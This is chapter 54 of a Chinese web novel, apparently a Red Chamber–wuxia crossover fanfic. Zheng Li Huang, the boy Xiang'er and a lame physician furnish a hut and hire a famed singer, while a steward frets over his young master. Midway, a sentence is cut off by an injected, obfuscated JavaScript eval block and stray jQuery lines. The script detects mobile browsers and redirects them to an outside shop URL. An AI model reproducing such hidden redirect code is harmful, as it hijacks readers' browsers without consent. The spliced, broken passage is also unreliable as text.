54.第 54 章

作品:《[红楼]滴翠亭[综武侠]

    殊不知,昨夜跛足郎中答应租予他二人的乃是隔壁的茅屋。


    香儿也想眺望,但个子够不着,只能伸长脖子好奇地问:“原来你还有隔壁的宅院?”


    看得一清二楚的郑李黄无奈回头,见跛足郎中神态自若,也不多加解释。


    终归也是个像模像样的院子,只不过稍稍简陋,还需再打扫一番。郑李黄手脚勤快,独自翻墙过去,香儿同跛足郎中则站在墙根,丝毫没有帮忙的意思。


    郑李黄一来到茅屋前,自然看见了满地的狼藉,他不由地回身飞上墙头,趴在墙头上问下面的郎中:“有人住过?”


    跛足郎中面不改色,理所当然似的“啊”了两声:“今儿不在,你们正好派上用场。”


    一旁的香儿闻言顿悟:“好你个郎中,原来还开着客栈,怪不得收我租金!”


    郑李黄转头看向那简陋的茅屋,倒也不觉得郎中戏弄他们。想必是这郎中图清净,不愿让出院子。不过隔壁那茅屋收拾后倒也可勉强一用。


    香儿不知趣,正热情地邀请自己的“忘年之交”,叫郎中与他们一同听曲。


    跛足郎中满口谢绝:“我不听。”


    郑李黄收拾茅屋半途中偶尔瞥一眼墙下的二人,总觉得这郎中满口回绝的姿态和当初的香儿一模一样,怪不得这两个年纪相差甚远的人能有交情,郑李黄三下五除二收拾完茅屋的狼藉后,将香儿拉到一旁:“你何时与他相识?”


    “随小爷搬过来后呀,”香儿捏住自己的鼻子,“你何时吃的咸菜?”


    茅屋里那些吃剩的酒菜郑李黄已经都扔了。他将茅屋收拾得宽敞亮堂,瞧着倒也别有一番闲云野鹤之趣,眼下只缺一二装点之物了。


    对此跛足郎中乐于助人道:“我有。”


    香儿不以为然道:“你也不过有些宝贝药材,除此之外还有什么拿得出手的?”


    可他这回料错了,跛足郎中像是变戏法似的,回到自己屋中,取出了不少像模像样之物,什么绫罗纱缎、什么楠木茶几、甚至还能扛出来博古架。


    “嗳呦,”郑李黄忙上前接过,担心他一只脚撑不住,“我来。”


    两人看着郑李黄独自忙前忙后,虽依然没有帮着修葺茅屋之心,但跛足郎中也不免夸赞起了郑李黄的勤快:“倒是个品行……”


    他刚要说“品行端正”“敬老慈幼”,但一想到这二人竟然还要叫清倌唱曲——那品行便值得“不端”二字。


    可一旁的总角小厮丝毫不知,还不忘再次盛情相邀:“难得我做东,你到时别与我客气。”


    “哼,”跛足郎中不置可否,话锋一转,忽问他道,“你这兄弟,看着不像中原人呐?”


    香儿惊讶:“原来你也瞧出来了?”


    跛足郎中惊讶:“原来你也知道?”


    两人大眼瞪小眼。


    最后还是香儿兜不住,一股脑将心中的一句话抖落出来:“先前那个客大娘可瞧出来了。”


    不过那客大娘还是看走眼了,以为郑李黄生得一副北边人的相貌。


    香儿自己嘀咕完,接着还笑嘻嘻地眼前的郎中绕弯子道:“那你猜猜他是哪儿的人?”


    这小子还想考考人。跛足郎中并不接招,答非所问道:“你知道就好。”


    可香儿不知道的事可多了去了。譬如此刻的李大,大清早在矮屋扑了个空,他本想带无法无天的香儿回主院服侍小爷,却发现连郑李黄也不知踪影。


    问了一圈人,皆是一问三不知,都当先前的客大娘一般对待了,一点儿都不担心。


    李大这回是领教到了自己招了一群何等散漫的雇工。


    他又折身赶去主院,等到发现小爷也不在屋里后,彻底大惊失色,立即着急忙慌朝围墙赶去。


    他担心那两个石匠还未拆卸完石阶,若是小爷贪玩,趁机爬上去了可还得了。


    于是起早贪黑的两个石匠见到这为李管事时,他一副天都要塌了的模样,弄得两人站在高墙上手足无措。


    李大气了个倒仰,两眼发黑,但不是因为自己的主人、好在他并未在围墙上下见到小爷,可是为什么这堵围墙相连的石阶还越砌越高了!


    先前一来一回,这两个石匠已经不知道这户人家到底要他们如何砌墙。如果眼下李管事还要质问,他们二人也还是先前那个理由:不然他们如何从高墙上下来?


    李大一清早也受不得这气,他正顺着自己的一口气,就听见墙上的石匠又主动说道:“不如问问你们大爷?”


    “我……”李大正想回答,顺着墙上二人的目光回身,原来不远处正是朝他们走过来的小爷,他也来不及再与石匠们多言,立即动身迎了过去,将小爷拦住。


    “墙砖无眼,小爷还是莫要过去了,当心伤着。”


    “胡说八道,”小爷隔着他,指了指不远处的石堆,“不是有洞眼吗。”


    李大:“……”


    咬文嚼字也就罢了,只要小爷能安生地住在自己的院子里,李大什么都愿意。


    他一边劝着自己的主人回自己院子,一边还不忘打听:“小爷方才去哪儿了?”


    “你怎不管香儿?偏生只盯着我。”


    这话说得实在有理,李大无力反驳。是啊,香儿那小子去哪了?


    李大连忙应道:“回头我自当好好怪责他。”


    少年在椅子上坐下,端起一杯茶,随口应道:“好主意。”


    李大小心打量了一眼,见小爷面色如常,已无前两日的魂不守舍之态,看来是真想通了?


    想通便好,李大欣慰,忍不住又规劝了几句:“嗳,出门在外,不仅人多眼杂,香儿那小子都管束不住了。小爷总算想家去,我们这几日不如先收拾起来?正巧隔壁过几日兴许要出丧,避一避也好。”


    “哦?”少年抬起眼眸,“你倒是消息灵通。”


    李大汗颜。连连止住了话,生怕小爷再过问下去。


    暮色添寒,岸烟起,曲终人散。


    郑李黄亲眼看着清倌上了接她的轿子后,一回身,茅屋里一大一小正还捏着小酒杯,酒不醉人人自醉地连连碰杯,自得其乐。


    他走了过去,也拿起一杯酒,这可是跛足郎总不知藏在哪个旮沓的羊脂玉杯,成色上等,起先他并未认出来,直到请来的清倌替他认了出来。


    因此他们虽身处清简茅屋,但出手阔绰,用度讲究,引得那清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188354|136546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倌高看,以为他们皆是出自豪门大户。


    郑李黄的目光不由地从玉杯上抬起,转而看向乐不思蜀的香儿和打着酒嗝的郎中。方才这两人简直惬意无比,要不是并未见他二人动手动脚,他定以为他们实则是花楼常客。


    郑李黄实在狐疑,等那清倌走了,便忍不住开口询问。


    香儿和跛足郎中正忙着碰杯,好似没听清。


    “嗳!”郑李黄扬声道,“你二人别喝醉了!”


    那总角小厮似醉非醉地回过头来,脸上带着笑意,含糊道:“那霞儿唱得也不过如此嘛。”


    郑李黄气哽咽喉。


    这小子倒是一如既往地瞧不上呢?方才那清倌可是头牌!身处身不由己之地还能保全自己只做清倌,技艺本领必然有过人之处。可这小子,竟还觉得不过尔尔?也不知他是吹嘘夸大,还是出口见真章。


    郑李黄本想借此教这小子懂得欣赏女色,可到头来,这小子不仅仍然丝毫不开窍,还嫌小镇头牌唱得稀松平常。


    还有眼前的这个郎中,盛晴相邀时满口拒绝,一转头人却最先坐在了正中央,厚颜无耻地旁听了全曲,真是知人知面不知心。


    香儿小酌几杯后人还未醉,相邻的跛足郎中倒是已经醉得神志不清了似的,摇摇晃晃起身,下了逐客令。


    “再不走,可就来不及了……嗝……”


    也不知说的是谁。


    郑李黄也知时候不早了,他有些担心,怕雇主发现他们二人出门大半日,回去后怪责他们。


    香儿却跟他一口咬定,他们不过是出门一趟,小事罢了,小爷才不会对他们兴师问罪。


    郑李黄带着他快步回到宅院时,接回清倌的轿子也正停在花楼后巷。


    “霞儿回来了。”


    这霞儿是清倌艺妓,唱得一嗓子好曲子,在小镇上小有名气,一般的客人可请不起,她此行也因贵客出手阔绰,挣了不少私房钱。


    夜幕沉沉,木窗疏开,二楼露出葱白纤细的手指,随意搭在窗棂上。


    闺阁内,有好事的小丫头围上来打听:“霞儿姐姐见了什么贵客?先前我们怎从未听说过。”


    据说出手阔绰,她们都想让她说来听听。


    纤柔窈窕的身影在梳妆镜前坐下,声音娇娇柔柔的,跟黄鹂似的:“不好说。”


    几个小丫头都以为她是在卖关子:“怎就不好说了?”


    霞儿自己也云里雾里的。那三个贵客,自顾自喝酒,只听她唱曲,并未有多余的吩咐。既无需她敬酒,也并未垂涎于她。甚至连寻常行酒令都未曾提起,倒显得她今儿这趟格外清闲。


    正说着话,闺阁外又有人来传话。


    “那群人又来了,指名道姓要霞儿作陪。”


    霞儿冲传话的人笑道:“不去。就说我累了。”


    “可是……”


    霞儿并不害怕。哪有强买强卖的买卖?那几个髭须膀阔,长得凶神恶煞的新客,全花楼的妓子都看得出来,他们并非小镇中人。


    “且慢,”她忽又喊住了传话之人,微微一笑,“送他们去楼下。”


    言罢,她望向窗外的夜色。


    “快要下雪了……”